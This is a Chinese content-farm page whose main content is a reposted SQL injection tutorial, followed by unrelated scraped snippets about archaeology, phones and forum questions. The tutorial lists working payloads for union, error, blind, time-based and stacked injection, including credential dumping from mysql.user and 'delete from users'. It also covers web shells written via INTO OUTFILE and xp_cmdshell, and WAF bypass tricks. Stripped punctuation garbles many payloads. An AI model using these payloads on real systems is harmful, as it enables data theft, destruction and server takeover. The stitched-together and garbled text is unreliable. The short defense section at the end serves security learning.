专栏电商日志财经减肥爱情
投稿投诉
爱情常识
搭配分娩
减肥两性
孕期塑形
财经教案
论文美文
日志体育
养生学堂
电商科学
头戴业界
专栏星座
用品音乐

科普基础最全的SQL注入总结

  0x01SQL注入原理
  当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
  攻击者通过构造不同的sql语句来实现对数据库的任意操作。0x02SQL注入的分类
  按变量类型分:数字型和字符型
  按HTTP提交方式分:POST注入、GET注入和Cookie注入
  按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
  按数据库类型分:sql:oracle、mysql、mssql、access、sqlite、postgersqlnosql:mongodb、redis0x03MySQL与MSSQL及ACCESS之间的区别
  1。MySQL5。0以下没有informationschema这个默认数据库
  2。ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释举例:select1,2,3fromtablenameunionselect1,2,3fromtablename
  3。MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)0x04判断三种数据库的语句MySQL:andlength(user())10ACCESS:and(selectcount()fromMSysAccessObjects)0MSSQL:and(selectcount()fromsysobjects)00x05基本手工注入流程
  1。判断注入点数字型:id21字符型:、)、))、、)、))注释符:(这是空格)、、、
  2。获取字段数
  orderby二分法联合查询字段数,观察页面变化从而确定字段数orderby1orderby50
  groupby译为分组,注入时也可使用,不过我没用过
  3。查看显示位尝试使用联合注入
  利用and12或and0及id12查看显示数据的位置
  替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)and12unionselectversion(),2,3
  再查询所有数据库and12unionselect(selectgroupconcat(schemaname)frominformationschema。schemata),2,3
  查询所有表名unionselect(selectgroupconcat(tablename)frominformationschema。tables),2,3
  查询所有字段名unionselect(selectgroupconcat(columnname)frominformationschema。columns),2,3
  查询字段内容
  如:查询test库下users表的id及uname字段,用区分id和uname以防字符连接到一起unionselect(selectgroupconcat(id,,uname)fromtest。users),2,30x06报错注入
  通用报错语句:(测试版本MySQL8。0。12,MySQL5。0,mariadb5。5版本下)selectfromtestwhereid1and(extractvalue(1,concat(0x7e,(selectuser()),0x7e)));selectfromtestwhereid1and(updatexml(1,concat(0x7e,(selectuser()),0x7e),1));0x07布尔盲注
  盲注中常用的函数:
  1。char()解ASCII码
  2。mid()截取字符串举例:mid(hello,1,3),从第1位开始截取3位,输出位hel
  3。substr()与mid()相同,都为截取字符串
  4。count()计算查询结果的行数
  5。concat()查询结果合并但保持原有行数
  6。groupconcat()查询结果合并但都放在一行中
  7。ascii()查询ascii码
  猜数据库长度(利用二分法)id1and(length(database()))1id1and(length(database()))50
  猜第一个字符,第二个字符,以此类推andascii(mid(database(),1,1))1andascii(mid(database(),2,1))1
  查询当前数据库中所有表名and(selectcount(tablename)frominformationschema。tableswheretablesschemadatabase())1and(selectcount(tablename)frominformationschema。tableswheretablesschemadatabase())10
  查询第一个表的长度and(selectlength(tablename)frominformationschema。tableswheretablesschemadatabase()limit0,1)10
  查询表的第一个字符andascii(mid((selecttablenamefrominformationschema。tableswheretableschemadatabase()limit0,1),1,1))1
  查询atelier表里有几个字段and(selectcount(columnname)frominformationschema。columnswheretablenameatelierandtableschemadatabase())2
  查询第一个字段长度andlength((selectcolumnnamefrominformationschema。columnswheretablenameatelierandtableschemadatabase()limit0,1))1
  查询字段第一个字符andascii(mid((selectcolumnnamefrominformationschema。columnswheretableschemadb83231asfaaandTABLENAMEatelierlimit0,1),1,1))105
  查询字段所有行数and(selectcount()fromdb83231asfaa。atelier)4
  查询字段名的行数(查询emails表,uname字段)and(selectcount(uname)fromsecurity。emails)7查询uname的行数
  查询字段内容length((selectusernamefromsecurity。userslimit0,1))10ascii(mid((selectusernamefromsecurity。userlimit0,1),1,1))100
  将查询到的ASCII码放到mysql中查询
  举例:selectchar(39);
  0x08延时盲注
  利用sleep(3)和if(12,1,0)及case进行延时注入,示例:selectfromuserwhereid1orsleep(3)23
  这个没什么好说的selectfromuserwhereid1andif(length(version())10,sleep(3),0);
  如果长度大于10,则睡3秒,其他则0秒selectfromuserwhereid1andcaselength(version())10when1thensleep(3)else0end;
  case定义条件,when后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。0x09多语句注入
  多语句意思就是可以执行多个语句,利用分号进行隔开示例:id1;WAITFORDELAY0:0:3;deletefromusers;id1;selectif(length(user(),1,1)1,sleep(3),1)23;selectif(length((selecttablenamefrominformationschema。tableswheretableschemadatabase()limit0,1),1,1)1,sleep(3),1)230x10内联注入举例:id1!UNION!SELECT1,2,3
  利用别名:unionselect1,2,3,4,a。id,b。id,from(sysadminasainnerjoinsysadminasbona。idb。id)0x11getshellid1unionselect1,2,(selectlt;?phpeval(POST〔1〕);?intooutfilevarwwwhtml404。php)
  也可使用dumpfile进行写入
  outfile和dumpfile的区别:
  outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
  数据库写入:execmaster。。xpcmdshellecholt;eXECutegLobaLrEquEst(0)c:wwwuploadFiles201911404。asp0x12宽字节注入
  当编码位gbk时,df27或8127数据为空
  就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页面恢复正常,存在宽字节注入
  测试出来就可以使用sqlmap跑了,23333
  加构造注入点(比p更稳定),让sqlmap对构造注入点进行注入攻击(优先级更高)
  宽字节防御:
  第10行代码必须和第24行必须同时使用,要么就更换编码格式0x13二次编码注入
  代码中有urldecode()函数
  2527先解码成27再解码成单引号sqlmapuhttp:192。168。100。141index。phpauthor123prefix2527suffix23
  prefix为设置前缀suffix为设置后缀
  设置后缀,防止sqlmap使用内联注0x14二次注入
  abc数据经过addslashes过滤,单引号前面添加反斜杠abc,但传到数据库的数据还是abc
  假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册usernametest,接下来访问xxx。php?usernametest,页面返回id22;
  接下来再次发起请求xxx。php?id22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
  访问xxx。php?idtestunionselect1,user(),323,获得新的id40,得到user()的结果,利用这种注入方式会得到数据库中的值。0x15XFF头注入updateusersetloatloginip8。8。8。8whereid1andsleep(5)whereusernamezs;
  id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入
  XForwardFor:127。0。0。1select1,2,user()0x16常用过WAF技巧1。特征字符大小写(基本没用)UnIoNSeLcT1,2,32。内联注释id1!UNION20!SELECT201,2,33。特殊字符代替空格09tab键(水平)、0a换行、0c新的一页0dreturn功能、0btab键(垂直)、a0空格4。等价函数和逻辑符号hex()、bin()ascii()sleep()benchmark()concatws()groupconcat()mid()、substr()substring()versionversion()datadirdatadir()逻辑符号:如and和or不能使用时,尝试和双管道符。5。特殊符号反引号,selectversion(),绕过空格和正则加号和点,和。代表连接,也可绕过空格和关键字过滤符号,用于定义变量,一个代表用户变量,代表系统变量6。关键字拆分selectSELCT1,2,3?id1;EXEC(master。。xpcmdshellnetuser)!和():or2!!!2id1(UnI)(oN)(SeL)(EcT)7。加括号绕过
  小括号union(select1,2,3fromusers)23union(select(1),(2),(3)from(users))id(1)or(0x500x50)id(1)union(((((((select(1),hex(2),hex(3)from(users))))))))
  花括号select{xuser}from{xmysql。user}id1unionselect1,{x2},38。过滤and和or下的盲注idstrcmp(left((select20username20from20users20limit200,1),1),0x42)23idstrcmp(left((selectusernamefromlimit0,1),1,0x42)239。白名单绕过
  拦截信息:GETpennews。php?id1unionselectuser,passwordfrommysql。user
  绕过:GETpennews。phpadmin?id1unionselectuser,passwordfrommysql。userGETpenadmin。。ews。php?id1unionselectuser,passwordfrommysql。user10。HTTP参数控制
  (1)HPP(HTTPParmeterPolution)(重复参数污染)
  举例:index。php?id1unionselectusername,passwordfromusersindex。php?id1unionidselectidusername。passwordidfromidusers
  HPP又称作重复参数污染,最简单的是?uid1uid2uid3,对于这种情况,不用的web服务器处理方式不同。
  具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
  (2)HPF(HTTPParmeterFragment)(HTTP分割注入)
  HTTP分割注入,同CRLF有相似之处(使用控制字符0a、0d等执行换行)
  举例:?a1unionbselect1,passcfromusersselectfromtablewherea1unionandbselect1,passlimitfromusers0x17SQL注入防御
  1。对用户输入的内容进行转义
  2。限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
  3。使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数
  4。添加WAF,防火墙等

五星出东方利中国!今年春晚的国宝意义重大!五星出东方利中国!汉代之锦护博膊。国家一级文物,中国首批禁止出境展览文物,被誉为中国二十世纪中国考古学最伟大的发现之一。五星出东方利中国1995年10月发现于新疆和田地区尼雅遗址,脊兽登高祈安泰,亭台楼阁国精粹展现盛世风采的唐宋脊饰中国传统文化源远流长这体现在各个方面,例如传统建筑的大门围墙瓦片上的雕刻都成为人们反映文化思想的载体,当然建筑脊饰也不例外。建筑脊饰不只是为了增强建筑的美感而存在,还在一定程度上是建元革新年轻汉武帝的初次改革,却以赵绾王臧的死落下了帷幕奶奶老了,还是养养老的好!得到了汉武帝的这个口谕,赵绾就知道自己该怎么做了。作为建元革新的主要推动者,此刻的御史大夫赵绾当仁不让,折子可是早就写好的,老太太也该休息休息了,在御史大Qt元对象属性系统QPROPERTY1。元对象系统元对象系统是一个基于标准C的扩展,为Qt提供了信号与槽机制实时类型信息动态属性系统。元对象系统的三个基本条件类必须继承自QObject类声明QOBJECT宏(默认私有关于奥密克戎变异株CH。1。1,中疾控回应CH。1。1是什么1hr奥密克戎变异株CH。1。1是什么?CH。1。1属于奥密克戎变异株BA。2。75的第六代亚分支。最新研究显示,由于新增多个突变位点,增加了CH。1。1的免疫逃vivo手机不要乱买,这4款配置强使用体验好,可以成为换机首选如果您喜欢,可以点击上面的关注二字。后续会为您提供更多有价值的内容。今天分享,vivo手机不要乱买,这4款配置强使用体验好,可以成为换机首选。第一款vivoS15参考价格2789元大佬的2022变脸的马化腾(本文为大佬的2022系列第六篇)如果不是来自腾讯内部马化腾周围人的爆料,很难有第二人会做出留给腾讯的时间不多了此类判断。毕竟,在中文互联网几十年的风云中,马化腾和背后的鹅厂,一直数百元的智能机,多彩清爽外观的Redmi12C值得选择尽管发展得不如旗舰手机那样迅猛,但中低端的机型也仍旧在持续进步着,比如在年前,小米就推出了Redmi12C这款全新的红米数字系列机型,更新了自家在千元以下手机市场的产品布局,也为用物理博士生看流浪地球2是什么体验?流浪地球2确实是一部不错的科幻片。这里先给不了解故事背景的头条读者讲讲设定。按照电影制作手记1和预告片所展示的故事线早在1977年,就有天文学家根据太阳活动历史记录推测太阳核心聚变苹果新HomePod首发测评更智慧,更好声,值得冲就在今年春节前,Apple接连带来了数款重点新品的发布,MacbookProMacMini升级为M2CPU版本相信是大家意料之中,惊喜的是已经停产一段时间的标准尺寸HomePod也从车找桩到桩找车,新电途黑科技层出不穷新电途移动充电告别里程焦虑我第一次见到这么大的充电宝,还能自己走来走去,真酷!停在园区任意车位,充电桩就能自动来到车边,充电像点外卖一样方便!近日,在朗新科技产业园CPU空间,一群
奥特曼黑历史之中的蓝族反叛是什么情况?为什么蓝族不受到重视?所谓的蓝族反叛,是黑历史之中出现的光之国内部的大规模背叛事件,其中主事者和参与者大多数是蓝族,在荧屏的奥特曼系列之中没有被提及,所以很多人不知道,我就在这里简单的说一下。光之国分为说一说英雄联盟排位里你必禁的英雄是谁?为什么?英雄联盟里排外必禁的英雄?还记得在我爬坑的那段日子里,剑圣这个英雄一直以来都是我必禁的,主要就是低分段的剑圣玩家,大多都是十分专精的那一类,拿出来就是毁天灭地的,再加上那时候游戏理为什么越来越多的人不喜欢打台球了?我09。10。11。这三年几乎每天都打,随着年龄增长,身边人结婚生子,没朋友跟你打再就是年龄越大,感觉这地方越不想去,乱,再就是没有以前那种欲望了,主要是没时间时间不允许,打台球一用手机发头条,头条里面的免费图库素材哪里找?这个问题我告诉你你用头条普通版写文章或微头条时,写完之后要配图片,就找你写文章输入法界面的上面左上角,有一个小的长方块图标,方块里面有一个小山坡,点开这个图标,就出现你的手机相册界二十岁的纹身到了中老年之后是什么体验?二十岁纹身,到了中老年之后,多数都后悔了。我去浴池洗澡遇见一个老者,身体多处纹身。他看我瞅他,就有些不自然。他问我有什么办法把纹身处花纹弄掉?,我给你一万块钱。我说你给我两万块我也教师工资重要组成部分的薪级工资19级以上的教龄工资是多少?教龄工资不是教龄津贴,薪级工资里的教龄工资都是随着薪级数的逐年递增按一定数额增长的。看看你薪级工资19级以上的教龄工资是多少?为什么要选择薪级数19级或以上呢?因为事业单位专业技术临床认可近视矫正方法有三种,哪种更适合300多度的10岁孩子?这三种方法我知道!因为给孩子配镜专门做过咨询。我家孩子近视的时候12岁,两眼度数都在300度上下,医生说孩子小,将来高度近视的可能行比较高,而且戴框架眼镜平时运动不是很方便,建议配多地幼儿园遭遇学生荒幼儿园门口接送孩子的家长都去哪里了?我们这的育儿园人满为患,小区很多私人幼儿园都人满为患,我同事孩子都没地方送!愁死人了,她说基本都是二胎孩子!今年小班比去年的一个班少了10多个,去近40多个,今年才25。26个左右邻居每次出差都把孩子放我家,她家孩子还顿顿要吃牛排,怎么办?用不着委婉,我遇见过一次,我直接给邻居说,没问题,不过孩子这两天食宿费监护费费用现结一下,邻居就跑了那不简单,直接拒绝!自己又不是保姆,凭什么一次次的看孩子给别人,出了事情的话你都教育双减,是否把孩子们拉回同一起跑线了?重跑怎么赢?不会。经济,文化,父母层次,所处城市都说明永远拉不回同一起跑线,拿江苏无锡本人所在高中为例,教工之女大多数都是C9类高校,武大,华科,南大,东南,哈尔滨工业大学,西电,交大,复旦,当你看到那些跳鬼步舞的人,你会是什么感受呢?白天上班工作,夜睌不加班闲。人在他乡谋生计,两地生活为挣钱。租房子住的又简单。打牌,赌钱,买码又不喜欢。所以去广场听歌跳舞是首选。行街赏舞凑热闹,开心快乐每一天。谢谢邀请。针对这个
友情链接:快好找快生活快百科快传网中准网文好找聚热点快软网